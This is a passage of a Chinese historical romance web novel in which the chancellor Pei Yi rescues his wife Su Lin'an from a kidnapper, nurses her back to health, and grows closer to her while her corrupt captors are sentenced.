她只觉得现在的身体像是被拆散的积木,每一处都在泛疼,自然没有不答应这个提议的理由。
她轻轻点头,算是默认。
裴翊离开,暖暖的阳光照在苏蔺安的身上,略微缓解了身上的不适,模糊间,她一转头,竟看到王棋不知何时睁开了双眼,眸子瞪的巨大,瞳孔边布满血丝。
就在苏蔺安疑惑这是梦境还是现实时,王棋咧开个巨大的笑容,带着决绝的疯狂起身朝她走来。
是真的!
苏蔺安心跳飙升,心底升起股浓重的不安。
她咽了咽,强撑着站起来往后逃,一个腿软,整个人竟摔倒在地,苏蔺安焦虑地回头,王棋距自己只有一步之遥了!
她不得不攥紧手下的泥土,努力撑直身体,拼命朝前爬去。
“讼师......”王棋阴森的声音在身前响起,他像折磨猎物般站在了苏蔺安的身前。
她手肘一弯,竟一下失了力。
怔怔望着面前的王棋。
王棋缓缓地举起手臂。
下一刻,一个眨眼的时间,他的身后骤然出现一根树枝,“滋!”地由后至前刺穿了王棋的手臂。
“啊——”
王棋瞬间尖叫起来,腥臭的血液也同时挥溅到苏蔺安的脸颊。
须臾片刻,竟一下发生了这么多的变故。
满眼都是刺目的红。
她虚弱的精神再次受到冲击,一时间脑门像被捶打般又酸又胀。苏蔺安无力地倒在地上,此刻才看清了王棋身后的裴翊。
他面色阴沉地睨着王棋,紧接着
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,握住树枝的那只手一抬,将其拔出,王棋应声倒下。
裴翊这才看到在王棋前的苏蔺安,苍白、孱弱,先前那股茂盛的生命力消失不见。
他骤然变了脸色,立即蹲下来,扶起她的上身,冰凉的手触碰于她的额头。
“苏蔺安?苏蔺安?”
苏蔺安身上还是种种不适,但此刻她却莫名地心安。
她没力气回应裴翊,终于撑不住,放心地阖上双眼昏了过去。
-
今日大概是个好天气,苏蔺安悠悠转醒,阳光照在自己的身上很暖和、很舒服,她摇摇晃晃地想。
良久,她反应过来不对,为何会摇晃。
她勉强睁开了半只眼。
第一眼瞧见的是个脑袋,而她的双手正紧紧环绕着脑袋下的白皙脖颈,苏蔺安再低头,原来自己正趴在一个宽阔有力地脊背上。
比平日慢了许多的脑子转了好久才想明白,这是有人在背着她。
“你是谁?”于是苏蔺安问。
背着她的那个人脚步一顿,单手托住她的身体,伸出一只手探过来贴在她的脑门上。
感受了片刻后,他不轻不重地说:“原是烧糊涂了。”
苏蔺安很想反驳这个没礼貌的人一句,但更引她注意的是,那手凉凉的,贴上去很舒服。
所以在他收回手的时候,她下意识贴了上去。
那人感受到她的动作,伸出一根食指将她抵在原处。
“老实呆着。”他淡淡提醒。
好吧。
苏蔺安不强求。
但她很快被其他事吸引去了注意。
他是谁呢?
她嗅到一股书卷味,总觉得异常熟悉,似乎在哪里闻过。
趴在背上回忆良久,她记起这个味道,迟疑地问:“你是裴翊吗?”
身下的人将她往上提了提,才不咸不淡地吐出个音节,“嗯。”
苏蔺安点点头,为自己的猜对而高兴。
若不是环境限制,她大概还会鼓个掌。
看了一路绿色后,困意不合时宜地袭来。
但这时苏蔺安的脑袋却又异常地活跃,她转了一圈眼珠子,倏然想起好多事。
“王棋死了?”
“昏了而已。”
她点点头,小声地说:“便宜他了。”
裴翊轻笑,忍不住调侃,“不是你被吓到晕过去的时候了?”
苏蔺安回想一番当时的场景,细细算来,她好像真的是因为第一次见这样刺激的场景,加上本就晕血,一时没承受住才骤然昏过去的。
虽然裴翊没说错,但她并不甘心嘴炮落入下风。
脑袋总是在这种时候异常灵光。
她突然记起,落在地上的那根簪子自到了裴翊的手中后便再也没出现过,而裴翊当时松绑后那个整理袖子的动作大概就是在收好她的银簪。
她嘿嘿一笑,立刻反击,“我的簪子是不是在你手里?”
身下的人骤然清咳起来,不回答这个问题。
苏蔺安笑的愈发嚣张。
待她笑够后,裴翊才半真半假地恐吓道:“山林野兽横行,你这样大声会将他们都吸引来的。”
苏蔺安立刻闭了嘴,慌张追问:“真的吗,那怎么办?”
又走了一段路后,裴翊才慢悠悠地说:“吓你的。”
......
苏蔺安很好心情地没有和他计较,重新趴回了他的肩膀。
其实她一开始最想说的话是,放她下来,她自己可以走。但身体实在不适得过分,根本逞不了这个强。
她迷迷糊糊地想到王棋是把他们带到了山顶,背一个人下山是很累的,即便不舒服,她也不应该麻烦别人。
“裴翊你累了吗?”
“没有。”
“你累了一定要和我说,我可以下来走。”
“知道了。”
“快睡吧。”
12. 照顾
初夏的第一场雨,就这样来了。
不知过了多久,苏蔺安感觉自己被人放了下来,眼皮沉重,她睁不开去瞧是谁做的,只能感受到有另一双纤细些的手将她身上的衣物褪去,用湿润的毛巾擦拭干净她身上的污秽,紧接着又小心地给她套上干净的衣服,全程没让苏蔺安感到一点不适。
她猜测这是流汐,便也下意识喊了。
“流汐?”
“我在,夫人。”
她想对流汐道句谢,却被一道突然出现的苍老声音吓得浑身一抖:
“带着伤在山里拖了这么久,恐怕还需洗疮。”
苏蔺安先前在慈山的医馆听到过最后一个词,知道这是现代清创的意思。
很快叮叮当当的瓷具碰撞声响起,苏蔺安清楚,大抵是他们在准备清创的工具。
脑海里不自觉浮现出现现代影视剧中那些骇人的场面,她下意识拖着沉重的身子费劲地想床榻里挪动。
但现实是先前原身怒极攻心的后遗症与她现下的病症交叠,她现下连控制身体的力气都没有。
须臾后,流汐缓缓扶起她的腰。
苏蔺安瑟缩一下,还没反应过来,湿漉冰冷的棉花便已经贴到了伤口上。
她清晰地感受到棉花开始轻轻地擦拭着伤口,下一刻,原本麻木的伤口开始泛起疼痛,丝丝缕缕的痛意像是根根银针扎过来,苏蔺安眼圈倏然发酸,无意识溢出滴眼泪。
许久,她低低喊疼。
但上药的人仿佛是个被固定好程序的机器人,连一刻停顿都没有自顾自接着擦拭伤口。
像是过去了一个世纪那样久,她听见上药的人说棉花用完了,于是耳边又响起熟悉的清脆陶瓷声,还有那道苍老的声音在缓慢地解释膏药配比。
这是在说给谁听呢,苏蔺安迷迷糊糊地想。
衣袖又被掀开,预想到接下来要做什么,她刚松开不久的眉心又皱起来。
苏蔺安想到什么,模糊地吐出几字:“流汐,流汐。”
但无人回应,棉花如先前般按在了伤口上,又冰又刺。
“疼......”她下意识喊。
原以为会与先前一般无人在意。
但这次不同。
她话音刚落,便听到一阵低沉的声音发出一句疑问,处理伤口的棉花顿了顿,突然如她所愿地离开,床榻前跟着响起细密的脚步,像是先前服侍她的人退下了,旋即一阵沉稳的脚步声由远及近地传来。
苏蔺安努力地想睁眼去查看发生了什么,却只能模糊感受到床榻边昏黄的烛光。
下一刻,一道存在感极强的视线沉默地落在她身上,她心底不由得为这异样发慌。
片刻后,视线的主人走近几步,拉开了床榻边的木椅,坐了下来。
他低声吩咐了几句,细密的脚步声再次响起,先前熟悉的鼓捣上药棉花的动静重新出现。
苏蔺安下意识为此绷紧身体,微微蹙眉。
雨帘声里,有人察觉。
一双带着凉意的手倏然轻轻托起了她的脑袋,徐徐绾起她被汗浸湿的发丝,无形中抚慰了她因上药过于焦躁的心绪。
一股熟悉的书卷气倏然钻入鼻尖,这人似是垂头朝她靠近了些,低低地对她说:“会有些疼。”
紧接着那双手接着贴在她的额角,丝丝凉意浸入皮肤,缓缓将她放下,动作轻柔。
脑袋糊成一团糨糊的苏蔺安下意识在那双手离开时贴上去。
只觉得安心妥帖。
她思索了好久,觉得这个屋子里大概只有流汐会这样对她,于是将先前没说完的话重说了一遍,“流汐,让他们轻一些。”
不料话落,“流汐”帮她整理刘海的动作一顿,沉默下来。
她断断续续地迟疑问:“可是让你为难了?”
“流汐”将床榻上的薄被覆在她身上后,才略带无奈地回:“不会。”
片刻后,揽下她先前的话,“会让他们温柔些。”
有流汐陪着的时间便好过多了。
她疼了就蹭一蹭流汐的手,清创的棉花便会变得轻柔一些,她难以忍受喊疼时,流汐会摸摸她的额角,无声地抚慰鼓励她。
很快,药上完了,苏蔺安一时疲极,昏昏睡去。
再次醒来已是第二日的清晨。
她睁眼,一时没适应清白的光线,抬手遮了遮,倏然发现经过昨夜的上药身上伤口已没有先前的痛意,只是喉咙干的过分,一个字也说不出来。
“夫人。”流汐见状上前。
苏蔺安转了转眼眸,缓缓侧过头去,张唇示意她现下的情况。
流汐瞬间明白,倒了杯清水喂至嘴边。
稍稍润了润喉,苏蔺安才觉得舒服许多,像是一下来活过来般。
她轻轻舒了口气,被流汐扶着靠在床榻的长枕后坐好,随意一瞥竟发现个巨大的博古柜。
苏蔺安记得,她先前居住的院子里并无此物。
她蹙眉,旋即抬眼认真观察了一番这个屋子,这里头整洁的过分,仅在叠满文书的书桌与挂了鹤氅的落地衣架能窥见几分有人于此生活的痕迹。
苏蔺安心底有个隐隐的猜测。
先前忽略的书卷墨香气愈发明显,博古架上崭新的砚台又是那么眼熟。
她缓缓出声:“这是哪?”
“是大人的寝房。”
这竟然真的是裴翊居住的地方。
难怪从身侧到床榻,由床榻至整间屋子,全部浸满了他身上惯有的墨香味。
苏蔺安闭了闭眼,心底情绪复杂。
流汐体贴地端上来餐食,“夫人,先用早膳吧。”
望着那桌丰盛的饭菜,想必是起了个大早准备的,流汐照顾她到半夜,今早还要如此辛苦,苏蔺安不由得愧疚。
“流汐。”
“夫人?”
苏蔺安深深吸了口气,认真地望着她的眼,“昨夜多谢你的照看。”
“啊?”不曾想,流汐却是一幅奇怪模样。
苏蔺安愣怔一瞬,怕是自己没说清楚,“后来上药不是你一直在照顾我吗?”
流汐面上神色更加困惑,“我帮夫人擦拭完身子后便退下了,再未进屋啊?”
......?
苏蔺安心中缓缓升起一个巨大的疑惑。
那昨夜照看她的人是谁,为何在她误会了后也不出声。
世上真的有田螺姑娘吗?
李太医的求见声打断了她的思绪,他是昨夜的诊治太医,现下过来吩咐接下来的休养事项,不可受风、不可食寒凉、不可奔波跋涉、不可多动心力......
苏蔺安的心思却浑不在这上面,她只想知道自己现下最好奇的事。
待他长长地说完一大串后,她迫不及待地问:“李太医,你可知晓昨夜上药时看顾我的人是谁?”
李太医捋胡须的手一顿,“裴大人。”
......
居然是裴翊,怎会是裴翊?
苏蔺安将所有可能的人都列了一遍,却独独没有想到会是裴翊。
不管是绑架前,还是绑架后,裴翊在苏蔺安的印象中都是来来回回那几个词。
冷酷、无情、不留情面、心狠手辣。
与昨夜那双手天差地别。
“太医真的没记错吗?”她有些艰难地问。
李太医像是被这句话气到,狠狠皱了眉,“夫人若不信老身,何必多此一举。”
苏蔺安立刻摇头。
对裴翊原本的印象有了许多改观,她没想到,他也有如此温柔的一面。
只是不经意间,好像欠了个大人情......
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>先前误会,她可以将裴翊观察自己之事拉出来权当扯平;但这次又是背她下山又是看顾上药的,却是实打实地该感谢人家。
-
今日不是休沐的日子,裴翊卯时便去了官府,眼下还在处理王棋之事,暮安才进去通传。
苏蔺安站在门外,透过雕花楹窗,隔着些许距离,望见裴翊一袭绛紫官服,腰别白玉革带,缀金鱼袋,敛着眸子着狼毫在面下的文书行云流水留下一句句黑词提语。
这身艳丽的颜色却没有被他穿出俗气的感觉,反倒衬得裴翊愈发冷峻、拒人千里。
只是男人眼下的乌青着实明显,脸色比起平日也有些发白,昨夜定未休息好。
一股浓浓的愧疚倏然出现。
“大人,大人,我是清白的!大人万不可被王棋那奸人欺骗,大人!”
一个身着官服,但蓬头垢面的男子突然闯进来,打断了苏蔺安的思绪。
他不停喊冤,好似受到了天大的委屈般:“大人信小官一回,我怎有谋害朝廷命官那个胆量呢!”
话还未道完,便被赶来的暮安一把捂住了嘴,往下拖去。
即便这样,那人还是没放弃,嘴里依旧呜咽,依旧能听清是“委屈”“无辜”之类的话语。
“让夫人见笑了。”片刻后,暮安回来,歉意一笑。
“这是怎么了?”苏蔺安摇摇头,好奇地盯着先前那人离去的方向。
暮安神情一下变得冷漠,“那人与同伙在王棋下狱后竟合伙将其放出,还暗中指使王棋谋害大人与您,现下被查出来死到临头还想逃脱。”
“大人一夜未眠,便来处理这些人!”他恨恨地道。
苏蔺安抓到重点,“裴翊昨夜没休息?”
“是。”说完,暮安有些小心得抬头望了她一眼,“大人昨夜看顾您到寅时......”
卯时上值,也就是说裴翊照顾了一整夜她后,一刻也没有休息便过来了。
心底的愧意愈发浓重,苏蔺安一时竟对屋里的男人生出股逃避之意。
但暮安已经请她进屋了。
苏蔺安局促地站到屋子的角落,敛着眼睫,不敢去查看裴翊现下的神情,先前准备好道谢的言语也统统遗忘。
她未开口,裴翊竟也跟着沉默。
苏蔺安本就瞧不见男人的神情,在屋内良久的静谧后,心绪愈发凌乱。
许久,她才找回一点属于自己的声音,“昨夜......麻烦你了,多谢。”
说完,她悄悄抬眼。
裴翊不知何时站了起来,正直直地注视着她,听见这话,他唇张了张,却一个字也没说出来。
片刻后,男人眼底闪过一丝奇怪的神色,哑声道:“没有麻烦。”
这是假话。
怎么可能不麻烦。
苏蔺安望着他温和的面庞,下意识朝裴翊的方向上前一步。
“你不必......”考虑我的感受......
话至一半,她又猛然住了嘴。
这样的话,对于他们来说,太冒犯,也太亲近。
“什么?”裴翊没有听清她的话,下意识问。
苏蔺安却已然没有再提起此事的打算,裴翊既然第一次是那样说的,想来后面不管她如何问都不会如实回答。
只是她愧疚的情绪已经占满了脸庞,即便她不说,别人也可以看个一清二楚。
耳边倏然响起缓缓的脚步声,一下、一下,沉稳有力,熟悉的书卷香愈发浓烈,直到填满她身边所有的空间。
一道颀长高大的身影缓缓站到了苏蔺安的面前。
黑影完完全全将她笼了个完全,她抬眼看去。
裴翊薄唇张阖片刻,眼中仅仅闪过一瞬的犹豫,旋即郑重又认真地对她说:
“没有麻烦,你也不是麻烦。”
13. 入侵
苏蔺安耳畔像是有一万桶烟花炸开,瞬间只剩尖锐的刺鸣。
她愣怔站在原地,根本没料到裴翊竟会说出这样一番话。
穿越前,她在一个严苛的家庭中长大,父母爱她,但这份爱意中总是掺杂着其他的东西。
小时学习舞蹈只要获得奖项,便能得到大人的一句夸奖,于是她为了那句夸奖努力到韧带拉伤。
但父母知道这件事后,留给苏蔺安的不是关心,而是一句可惜的叹气,因为几日后就是比赛,而她因此必须放弃。父亲略带埋怨地问她为何不小心,母亲则是低声道了句麻烦,两人匆匆安排了个看护便离开。
处于这样的成长环境,苏蔺安的认知也在潜移默化中发生改变,昨夜的事对于她来说便称得上天大的麻烦。
但就是有这样一个人,在你定好准则的世界里,扭转了你的认知,颠覆了你的心绪,告诉你,这不是麻烦,你也不是麻烦。
入侵得光明正大。
心跳自裴翊说完这句话后便快得像是要从胸膛里跳出来,平日能言善辩的她现下竟想不出一句话回应,心底更是产生了一股莫名的逃避冲动。
她鼓起勇气抬头,裴翊那双深邃而专注的黑眸印入眼帘。
与他的话同样撼人心神。
苏蔺安倏然扭头,视线落在窗外。
只是脑海里却还是深深印刻着男人那双眼眸,她自小便没经历过什么抒情场面,压根不知道在这种时候该做出什么样的反应。
逃离的想法一旦成型,愈发不可收拾。
“这两日多谢大人,今日我会搬回先前的院落,不再叨扰。”
......
但这句话后,屋内再次陷入阒寂。
裴翊一言不发。
异常的安静让苏蔺安心底生出一股无端的慌乱,她犹豫地抬眼,害怕男人并未听清,又缓缓掀唇:“我......”
男人喉结滚动,脸上浮现无奈的神色,“何必如此着急,不是还未休养好?”
苏蔺安下意识脱口而出:“可已经麻烦你许多了......”
话落,她便意识到不对。
又是“麻烦”这个词。
苏蔺安迅速垂下眸子,撇开眼,心有些虚。
“不麻烦。”裴翊一字一句,冷静清冽的声音实实地传至耳边,他说得很清楚,肯定、强调。
苏蔺安下意识张唇,却根本不知道自己到底想说什么,脑海一片凌乱。
好在裴翊并未注意,他缓缓说起住在这院落的理由:“李太医就住在隔壁,可以每日为你看诊;你才将将可以下地,两处院落相隔极远,现下搬回去又是一阵奔波劳累。”
“况且。”不知想到什么,裴翊顿住,沉沉注视她片刻,将先前想说的话咽下,倏然留下一句,“便在此休养好再回去吧。”
他在这件事上异常坚持。
本就是一时冲动才想出的离开裴翊院子,苏蔺安现下冷静仔细思虑后自然也知晓确是接着居住于此对休养有利。
她吁出口气:“那便按你说的......”
“若是你不愿......”
两人同时出声。
苏蔺安愣了一瞬,看着裴翊那副同样出乎意料的模样,突然有些想笑。
她压下勾起的嘴角,语带笑意,“那便按你说的来。”
“休养好再回去。”
-
淅淅沥沥的小雨浇透院中的花木后便缓缓停了。
苏蔺安慢慢从床榻上坐起,现下已是三更天,她却辗转反侧,耳边依然时不时回响起白日的那句话。
她将此归结于“认床”的原因,但又清楚地知道她其实没有这个习惯,不过是下意识回避更深层次的原因罢了。
夜风带来院内栀子的清香,才下过雨,苏蔺安一头思绪杂乱,想出去走走散心。
这个点,下人们也歇下了。
片刻后,她还是难以克制这份冲动,披着厚重的大氅便出发了。
裴翊慈山的院子同样认真打理过,脚下踩的是鹅卵石铺的石子路,边上种的是百里香与鸢尾,步步深入,便能见到一片人造的小湖,而湖上的亭子几乎与京城那座长的一模一样。
看来裴翊对这样式的亭子情有独钟。
她轻轻踩着湖面上的石墩过去,几乎没有发出一点声音。
风铃跟着苏蔺安的步伐微微晃动,带着亭里的烛光也闪烁了几下。
而昏黄温柔的烛光中,有个高大颀长的黑影,似是听见动静,稍稍抬头,凌厉侧脸瞬间映于他身后的竹帘。
缘分可真奇妙。
你逃避时,它便会想尽一切法子逼你面对。
苏蔺安滞在原地,她没想到这个点亭子里还会有人。
更不知道自己是否打搅到了里头那位。
她稍稍后退一步,低低道了句“抱歉”,便转身准备就此离去。
不料话音方落,身后便响起一阵细密的动静,似有人起身。
“苏蔺安?”
裴翊站在亭口,浅白的衣摆还在轻轻晃动。
平日沉稳的人竟也有这样急促的时刻。
苏蔺安慢吞吞地转回半个身子,攥着手边的衣裙,干干吐出一句,“好巧。”
“进来吧。”
裴翊点头,旋即径直转身率先步入亭子,让苏蔺安连拒绝的机会都没有。
亭内摆了张长桌,一前一后两个蒲垫,桌上摆着几本少见的书,一旁还有正冒热气的茶壶。
“夜凉。”裴翊倒了杯温热的清水递给她。
苏蔺安缓慢接过,随意抿了口,只觉得现在站也不是,坐也不是,难受到了极点,心绪也乱到了极点。
根本不知道要拿个什么态度来面对裴翊。
“多谢。”良久,她不尴不尬地憋出一句。
“一杯水而已。”裴翊不以为然。
苏蔺安没话说了,她目不转睛地盯着瓷杯里清澈的温水,不合时宜地出神。
“怎么这个点出来。”
倏然,裴翊冷不丁问。
她懵懂地抬头,片刻后想起裴翊问了什么,才带着自己都怀疑的声音低声回答:“睡不着。”
“可是厢房不合心意?”
苏蔺安低下头,心中那份羞窘愈发严重,立刻严辞回答:“不!没有!厢房很好,很舒适......”
对面的男人脸上立即浮现一层淡淡的疑惑。
她移开眼,望着桌上有些随意叠放的书册,转移话题,“你呢?”
裴翊食指捻着杯壁转了一圈,说出来的话竟带着分苦涩的无奈,“与你一样。”
失眠了。
苏蔺安属实没想到裴翊夜半在亭子上竟会是这样简单的原因,但这又与男人桌上放着的东西极其不符。
“那这些是?”她视线落在那些书册。
裴翊随手翻开其中一本,无奈地抬眸看她一眼,“总不能就这样干坐着。”
想想也是,苏蔺安忍不住为自己这个问题发笑。
她紧绷的心绪总算放松了些,亭里的气氛也没有先前那般僵硬。
亭外风声猎猎,伴随着夏日特有的虫鸣。
苏蔺安侧头认真聆听。
“明日便是王棋与他背后之人的判罚了。”
突然,裴翊执起手边的瓷盏,提起另一件事。
“已然查出来是谁帮助王棋了吗?”苏蔺安被这话题吸去注意。
虽然她早已知晓王棋越狱定不简单,却没料到竟这么快便找到了幕后黑手,甚至短短几日那些人便要接受审判了。
“嗯。”裴翊
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点头,“这几人都是先前查出来的慈山巨贪,先前还试图向我行贿,被拒绝后便怀恨在心,找不到对我下手的机会,就将心思打到了你的头上。”
“偷放王棋,准备帮手,都是他们干的。”
话落,裴翊沉默片刻,“是我连累你。”
苏蔺安倒没想到自己被绑架的原因竟是因为这个。
她愣怔一瞬回神,并不这么认为。
“怎会是你连累我。”她言之凿凿,“要怪只能怪那些不轨之人心中的坏点子忒多。”
裴翊被她这正气模样逗得露出一声轻笑。
苏蔺安垂下眸子,语气逐渐低落,脸上写满愧疚,“况且,那晚你还因我受了王棋一拳......”
这件事一直埋藏在她的心底,耿耿于怀。
那抹鲜红也直至今日都深深烙印在她的脑海中。
如影随形。
“苏蔺安。”裴翊很少这样连名带姓地喊她。
苏蔺安一下被他喊回了神。
她不明所以地抬头看去,就见裴翊的神色极其认真,“王棋动手是因我先前激怒了他,而不是为你。”
“所以,你不必为此自责。”
裴翊目光沉沉,态度庄重严肃,“苏蔺安,你总觉得麻烦别人,连累别人。但你想想,没有我,慈山官员不会放出王棋,接下来的一切也不会发生。真论起来,其实是我麻烦、拖累你。”
“不是的。”苏蔺安下意识反驳。
“怎么不是?”裴翊沉静地反问。
心中瞬间有无数条例出现,但那一切都是模糊的,苏蔺安一个字也说不出来。
须臾,她移开了落在裴翊身上的目光,沉默着。
模糊间,有人低低地叹了口气。
就在她预料那人会再次开口时,苏蔺安的眼睫眨了又眨,倏然发声:“那,大致会如何判?”
她不想在这个话题久留,匆匆便找了个新的。
裴翊怎么说也是个一人之下万人之上的丞相,此番遭被那些人指使的王棋绑架,还挨了一拳。
她双手捧着脑袋,目光却不受控制地转到昨夜裴翊受伤的唇角,一副认真洗耳恭听的模样。
这些人结局会如何呢?
裴翊微微低头,与她探究的目光对上,喉结滚了滚,“斩,九族流放。”
一点活路没给那些人留。
“居然这么重......”苏蔺安下意识道。
“这算重吗?”裴翊望着她出神的眼眸,倏然反问。
苏蔺安愣怔一刻,不自觉放低了声音,“这可是流放九族,连细枝末节的亲戚都没放过......”
裴翊却全然没有她这般悲天悯人,他将苏蔺安手边放凉的瓷杯倒掉,重新灌了杯温水进去。
“祸不及家人的前提是惠不及家人。”他语气冷淡,“你心疼那些人无辜被牵连,却不知晓他们族人靠着有个巨贪的亲戚在慈山横行霸道,吃穿住行奢侈至极,堪比皇亲国戚。”
这倒是苏蔺安未曾考虑到的点。
她眼底流出迷茫的神色,呆呆接过。
“若是他们未曾享受这些人的赃款,自然不会如此严惩。”裴翊缓缓道:“你不知晓这些细节,并非你之过。”
苏蔺安只听说过“诛九族、流放”之类的词,却不知晓判案实操时竟还有如此多的门道。
她低下头,脑海里却不再是关于王棋案件的后续,而是实切地感受到了自己对于这个陌生朝代、陌生律法的生疏。
她在心底做出了决定,要接着研究律法。
既已发现自己的不足,便不能坐视不管。
“人之将死,他们竟也开始求饶,不停递来信件互咬,妄求有个求生机会。”
“你看了?”
裴翊:“全烧了。”
14. 那你呢
苏蔺安“扑哧”一笑,这还当真符合裴翊的风格。
但心底也忍不住有些担忧,“那他们呈上来的名单岂不是可惜了?”
“狗急跳墙,一无可取。”
裴翊说这话时,眉骨轻耸,一脸不屑,全然没有将那几人放在心上。
他一如既往的自信、掌控全局,而这份特质是游走官场多年,饱经风霜磨砺后才可以沉淀出的。
话落,他浅抿一口手边的杯盏。
苏蔺安余光注意到那瓷杯里放的是极浓的绿茶,下意识道:“这么浓的茶,不苦吗?”
裴翊闻声却只是若有所思地盯着手中的瓷杯片刻,旋即习以为常般,“还好。”
茶壶中那厚厚一层的绿茶叶还映于瞳孔,但裴翊的面色又是那样自然。
“可否给我尝尝?”
这样的反差着实吸引了苏蔺安的兴趣,她不信邪,将杯中的温水倒掉,缓缓推到裴翊的面前。
这样小的要求,她相信没有人会拒绝。
但裴翊就是那个不一样的。
他动作顿住,沉默地注视了她片刻,倏然将手中的茶盏搁置于一旁,褪去先前的平淡神色,道:
“你尚未痊愈,不可食寒凉之物。”
苏蔺安嘴角的笑意僵住了。
她不可置信地看了看茶盏又看了看裴翊。
“一杯茶而已,怎么就扯上寒凉了?”下意识反驳。
裴翊却像是个人形百科机器人般,缓缓科普:“茶苦而寒,阴中之阴。”话落他顿了顿,“况且李太医每日都会问你问诊,你明早便可求证。”
苏蔺安一时间滞住了。
这个法子不行,她决定换一个怀柔政策。
“那半杯?半杯茶而已,不会有大事的......”她声音低低,一双眼紧紧盯着那杯子,惨兮兮。
这次裴翊倒是没有如前两回那般径直拒绝了,但也始终没有反应。
亭外响起两声虫鸣,苏蔺安悄悄抬眸望向眼前的男人。
下一刻,却直直撞进那双漆黑、深邃的瞳孔。
向来冷静、淡漠的眸子此刻竟躲了丝平日从未有的温度,她说不清那是一种怎样的情绪。
像温柔、像缱绻,却唯独不像裴翊。
苏蔺安愣怔一瞬,下意识躲开那目光。
心跳很乱。
与此同时,裴翊突然将手边那一整壶泡好的茶倒掉。
“夜已深,快去休息吧。”
“身子好后,想喝几壶我便给你泡几壶。”
不知是不是苏蔺安的错觉,最后那句竟带了些宠溺的意味。
-
第二日清晨,李太医准时求见,而裴翊竟也像是遵守什么约定般来到她的住处。
她一时间竟搞不懂这人究竟想做什么。
莫不是要让她当着他的面真的去问太医茶水究竟算不算寒凉之物?
苏蔺安心一抖。
暗暗祈祷裴翊不是这般的人。
她缓缓抬眼,便见他慢慢踱步到她坐的长榻另一侧,像是感应到什么般,倏然朝她望来。
两人隔空对了个眼神,裴翊像是完全感受不到她饱含威胁的眼神,理直气壮地坐下了。
苏蔺安眉头狠狠一皱,对裴翊这番行为愈发疑惑。
男人却只是面色淡淡地歪了歪头,无声反问。
“你怎么来了?”
“我为何不能来?”
李太医根据她今日的脉象调整了煎药的比例,重新叮嘱一番养病的注意事宜后,便慢慢收好医箱准备就此离去。
好在直到此刻,裴翊都没开口说过一个字,也没有惹出一点岔子。
苏蔺安缓缓将心放回肚子里。。
应当不会有什么事了。
下一刻,她倏然感觉到一道充满兴味的视线缓缓扫过自己。
苏蔺安才安下来的心一沉,她猛地侧头朝裴翊方向看去。
果不其然,那视线来源就是他。
她轻轻蹙眉,朝裴翊狠狠瞪去一眼。
这警告却没有对裴翊起作用,他顶着她这道威胁的视线缓缓挑了挑眉头,勾起嘴角倏然掀唇:
“李太医。”
耳边的心跳声骤然放大,苏蔺安的心刹时便提了起来。
这人究竟想使什么坏!
裴翊若是真将昨夜他们那些幼稚的争执拿去问太医,岂不是平白惹人笑话。
她视线一刻不移地盯着裴翊,生怕他真的这样干。
“大人。”李太医缓慢转身。
苏蔺安脸皱成一团,咬牙切齿。
裴翊将她面上的变化瞧了个一清二楚,冷峻的面颊滑过一丝笑意。
看着男人逐渐掀开的唇瓣,苏蔺安心跳缓缓升快。
“接下来这段时日还要辛苦太医接着帮夫人调养了。”沉默良久,裴翊不紧不慢道。
......
这人,分明就是在故意使坏逗她!
苏蔺安的心猛然放下,她深深吐了口浊气出来,着实没想到裴翊私底下竟会是这副模样。
焉坏。
她直直盯着裴翊,仿佛要将他戳出个洞来。
对面的裴翊则是一副淡笑模样。
更生气了。
李太医还在说着“不辛苦”之类的话。
浑然没注意到面前这对夫妻之间的暗流涌动。
须臾,裴翊倏然抬步朝她的方向走来。
苏蔺安看着眼前愈发接近的身形,原本的怒意突然被另一种奇怪的情绪取代。
心跳同样很快,却不同于生气时的感受,并伴随着一层淡淡的慌乱。
书卷的墨香味扑面而来,裴翊站在了她的身后。
苏蔺安下意识想向前走,拉开些距离,却一个步子也迈不开。
忽然有一阵浅淡的热气喷洒在耳畔。
“抱歉。”男人熟悉又磁性的声音传来。
烫。
苏蔺安突然便重重地往前走了几步,远离这个奇怪的氛围,也不愿去回想方才的动静。
她深呼吸几次,才感觉脸颊的热度降下去些。
“怎么了,夫人?”李太医突然发问。
“啊?”苏蔺安这才发现,屋内的所有人似乎都在盯着自己。
她恍然意识到,自己这个逃离的动作似乎太引人注目了些。
苏蔺安僵硬地站在原地,一时之间竟不知如何回复。
好在下一刻,裴翊替她解了围,“夫人方才没站稳,你们先退下吧。”
旋即他挥挥手命那些人都退下。
自己却还站在苏蔺安的身后,丝毫没有离开的意思。
她疑惑地转头看过去。
就见男人瞬间收起先前温润玩笑的神情,一双黑眸直直注视着她,“后几日我要前往慈山周围缉拿要犯,你莫要出门。”
“缉拿要犯?”
苏蔺安咀嚼着这几字。
若她没记错,裴翊不是来慈山调查贪污案的吗?
裴翊点头,“昨日收到京中密信,有重犯逃窜至慈山附近,大理寺希望我助他们一臂之力。”
“重犯......”苏蔺安垂下脑袋,默念。
昨日裴翊说起王棋背后那几个官员时都没用上这两字,也不知这位究竟犯了多大的罪。
裴翊食指缓缓在桌上的瓷杯绕过一圈,“是。我在院外部署了五百兵马,一有异动便会出击,同时传讯于我;暮安也会留在这,危急时刻他会护着你离开。
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”
裴翊说这话时,神色沉稳、自信,仿佛不管发生什么都会有他留的后手托底,一副什么都为苏蔺安安排好的模样,甚至连最信任的手下都未曾带走。
“那你呢?”苏蔺安脱口而出。
五百兵马,那是他们来时带的所有精卫,暮安,是一直跟在他身边的侍从,而他将这一切都留给了她,那裴翊可曾留下什么保护自己?
苏蔺安是这么想的,下意识便也就这么问了。
她说这话时,眼神稚嫩而真挚,瞧不出一点算计的痕迹,就是发自肺腑地在忧心男人的安危。
她总是这样,即便努力伪装,也总在不经意间露出诸多马脚。
裴翊黑睫翕动几下,他本不想将这句话放在心上,然后冷静、沉着地告诉这个天真的苏蔺安世上总有意外,他自然也有殒命于此的可能。
但他发现,他做不到。
他唇张了又张,硬是一个字没说出来。
面前的苏蔺安歪了歪头,还在乖巧等待着他的回答。
“我与来时其他使臣同去,怎会出事。”
最后,他不知出于什么原因,这样回答了。
可苏蔺安看起来还是不放心,她一双眼里充满忧虑,须臾,还是仔细地叮嘱:“那你定要小心。”
-
裴翊在当日午后便出发了,小院开始大门紧闭,禁止出入。
苏蔺安像是什么都没察觉般,专注地躲在自己的厢房里研究着裴翊先前送给她的那本小书册。
但偶尔她也会在一个深夜里好奇裴翊现下的进度,默默猜测着这人究竟能否安全归来。
这段时日里,苏蔺安竟觉得裴翊私底下那面意外有趣。
他会在思考时用食指在瓷杯缓慢地绕圈,会在名下的每处院落都建造一座同个模样的湖心亭,甚至在饮食上也有挑剔,芹菜便是自小就接受不了的食物。
当然,后面两条都是暮安透露的。
